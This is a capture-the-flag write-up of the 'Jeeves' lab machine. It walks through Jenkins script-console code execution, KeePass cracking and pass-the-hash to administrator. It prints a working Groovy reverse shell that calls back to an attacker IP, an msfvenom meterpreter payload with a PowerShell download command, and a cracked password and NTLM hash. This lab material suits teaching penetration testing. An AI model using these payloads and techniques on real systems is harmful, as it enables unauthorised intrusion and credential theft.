> For the complete documentation index, see [llms.txt](https://shohamshilo.gitbook.io/shohamshilo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shohamshilo.gitbook.io/shohamshilo/write-ups/writeups/jeeves.md).

# Jeeves

**Date:** 2026-06-16 **Difficulty:** Medium **Author:** @shohamshilo

***

## Jeeves High-Level Attack Chain:

```
Unauthenticated Jenkins Instance → Jenkins Scripting Console RCE → Cracking KeePass Database → Pass-The-Hash Attack → Local Admin Accesses
```

***

## 🔍 Enumeration & Initial Analysis

### Initial Enumeration:

First i ran a standard nmap scan on the host:

```bash
PORT      STATE SERVICE      REASON          VERSION
80/tcp    open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
445/tcp   open  microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         syn-ack ttl 127 Jetty 9.4.z-SNAPSHOT
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2026-06-14T17:26:46
|_  start_date: 2026-06-14T17:24:54
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 58009/tcp): CLEAN (Timeout)
|   Check 2 (port 55982/tcp): CLEAN (Timeout)
|   Check 3 (port 39602/udp): CLEAN (Timeout)
|   Check 4 (port 58884/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m59s
```

From the nmap scan we can see that we are dealing with a windows host (likely windows 7) that has a web-server (IIS) on port 80, SMB service and another web-server on port 50000 that is running jetty.

**Enumerating SMB:**

I started by testing Null authentication (Guest Login) on the SMB service in hopes of getting quick wins to enhance the web enumeration:

```bash
nxc smb 10.129.228.112 -u '' -p ''

SMB         10.129.228.112  445    JEEVES           [*] Windows 10 Build 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True) 
SMB         10.129.228.112  445    JEEVES           [-] Jeeves\: STATUS_ACCESS_DENIED
```

As we can see from the netexec output SMB Null Session is disabled on the host . We can see one more interesting find the SMB Version is SMBv1 witch indicates an old windows host - maybe older public cves will be relevant here.

#### Enumerating Web-Services:

I started by looking at the main web-server on port 80.

![](/files/MiPAuLSvsOyJfHpJboGs)

This is a static site that doesn't have any functionality. Fuzzing directories with gobuster lead no ware.

Looking at the web-server on port 50000 we are met with a error page:

![](/files/4cq059pIGOh3YOWqyZJY)

We can see that the web site is leaking a version number for the Jetty instance - 9.4.z-SNAPSHOT I also ran gobuster to fuzz for directories:

```bash
gobuster dir -u http://10.129.228.112:50000/ -w /opt/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.228.112:50000/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/askjeeves            (Status: 302) [Size: 0] [--> http://10.129.228.112:50000/askjeeves/]
```

I found only one directory on the web site - viewing this endpoint reveals a Jenkins instance:

![](/files/tskhdPiS46HU6X8r2oG9)

Two key insights:

* There is no authentication required - any user is able to accesses this service.
* Jenkins Version 2.87 - an old version of Jenkins, more likely vulnerable to old public cves.

***

### Vulnerability Research

From what I found in the initial information gathering stage i see one main path to research vulnerabilities - the exposed Jenkins instance.

I started by looking at public cves based on the version that i found. there are many public cves for this version but the main one is **CVE-2024-23897** an arbitrary file read flaw that can lead to RCE.

But before i jumped into this vulnerability i started looking at how the application works - what is available to me natively.

#### How to use Jenkins native functionality to gain RCE:

This is the main topic of this box in my opinion there are a couple ways to use the native function of the app to gain RCE on the web-server:

**Jenkins CLI :**

If you visit the Manage Jenkins section you will see the Jenkins CLI page:

![](/files/7uASwjbmKNkkLS11mM1L)

Downloading the cli:

```bash
wget http://10.129.228.112:50000/askjeeves/jnlpJars/jenkins-cli.jar .
```

Basic Usage:

```bash
java -jar jenkins-cli.jar -s http://10.129.228.112:50000/askjeeves/ help
```

The vulnerability that i talked about exploit this cli to gain RCE on the target system - this is one way of gaining a foothold on the box. You can also use the cli to enumerate the Jenkins instance further:

```bash
java -jar jenkins-cli.jar -s http://10.129.228.112:50000/askjeeves/ who-am-i
Authenticated as: anonymous
Authorities:
```

**Jenkins Script Console:**

Jenkins also has a built-in scripting console that allows you to run a groovy script and execute it on the server. This is **native functionality** of Jenkins that we can abuse to run command on the server. After some light googling I found this [github](https://github.com/Brzozova/reverse-shell-via-Jenkins) repo that has a groovy reverse shell script.

***

## 🚀 Exploitation Path

### Exploitation:

#### Foothold:

First I used the provided shell script to gain a foothold on the machine. This script will lunch a unstable cmd shell on the target.

```groovy
Thread.start {
String host="10.10.14.104";
int port=9001;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
}
```

![](/files/d4cyskNBo2XS7ybip4gi)

After pasting the shell into the script console and running is i got a connection back. Because this is a unstable shell I wanted to have a meterpreter shell to have more control in the next stages.

#### Upgrading The Shell:

First I used msfvenom to generate a custom shell that I can upload to the target:

```bash
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.104 LPORT=443 -f exe > shell.exe
```

After that I downloaded the reverse shell to the target using the existing session:

```powershell
powershell -Command "Invoke-WebRequest 'http://10.10.14.104/shell.exe' -OutFile 'shell.exe'"
```

![](/files/mq53y5HfgIt8C9iJ8mnx)

Then I configured a handler with meatsploit and executed the shell with the initial session:

![](/files/9Nyr2yh69TZLZCYvqxHj)

This shell allows me to use post-moduals and easily port-forward local services if I need or set up a proxy to the internal network.

***

### Getting User

If you go to the users desktop you will find the user flag:

```powershell
meterpreter > dir
Listing: C:\Users\kohsuke\Desktop
=================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2017-11-03 23:15:51 -0400  desktop.ini
100444/r--r--r--  32    fil   2017-11-03 23:22:51 -0400  user.txt
```

***

## Privilege Escalation:

### Enumeration:

From what I've seen up until this point this host is not part of a active directory structure. This means that we need to look into some local windows privilege escalation methods.

I started by seeing if there are any files in the users home directory that are interesting. listing the documents folder I found a kdbx file witch is a KeePass database. This means that this file stores passwords as KeePass is a password manager tool. kdbx files are password protected so we need to find the password to the file in order to view the password.

### Cracking The kdbx File:

I downloaded the file to my local machine and the used johntheripper to crack the password for the file:

![](/files/vmxF8N5Zf9lqbHbcemqS)

The password for the KeePass file is - `moonshine1`

I used `keepassxc` to view the contents of the file:

![](/files/y4WYcb6xJStVSMfa9yQp)

We can see that there are 8 entries in the file. There are a few things that I can do with these passwords:

* We can compile a list of password to preform a Password Spraying attack against the Administrator user - Lucky for the admin he did not reuse these password, so this attack failed.
* I looked at the `Backup stuff` entry and found what appears to be a ntlm hash but it dosnt link to any user.

#### Pass-The-Hash Attack:

This is the hash that is found inside the backup entry:

```
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
```

I tried to use it in a Pass-The-Hash attack against the Administrator user to see if I can authenticate with it:

```bash
nxc smb 10.129.228.112 -u 'Administrator' -H 'e0fb1fb85756c24235ff238cbe81fe00'                                                  
SMB         10.129.228.112  445    JEEVES           [*] Windows 10 Build 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True) 
SMB         10.129.228.112  445    JEEVES           [+] Jeeves\Administrator:e0fb1fb85756c24235ff238cbe81fe00 (Pwn3d!)
```

Now that i can authenticate as the Administrator user i tried using psexec.py to gain a shell as the admin user:

```bash
impacket-psexec Administrator@10.129.228.112 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```

![](/files/dm7yIApRbNrJmardzA24)

***

### Getting Root:

By running `dir /R` in the administrator desktop You can see that the root flag in an alternate data stream of the hm.txt file:

```powershell
C:\Users\Administrator\Desktop> dir /R
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Users\Administrator\Desktop

11/08/2017  10:05 AM    <DIR>          .
11/08/2017  10:05 AM    <DIR>          ..
12/24/2017  03:51 AM                36 hm.txt
                                    34 hm.txt:root.txt:$DATA
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes
               2 Dir(s)   2,638,950,400 bytes free
```

You can exstract the data using this command to get the root flag:

```powershell
powershell -Command "Get-Content -Path 'hm.txt' -Stream 'root.txt'"
```
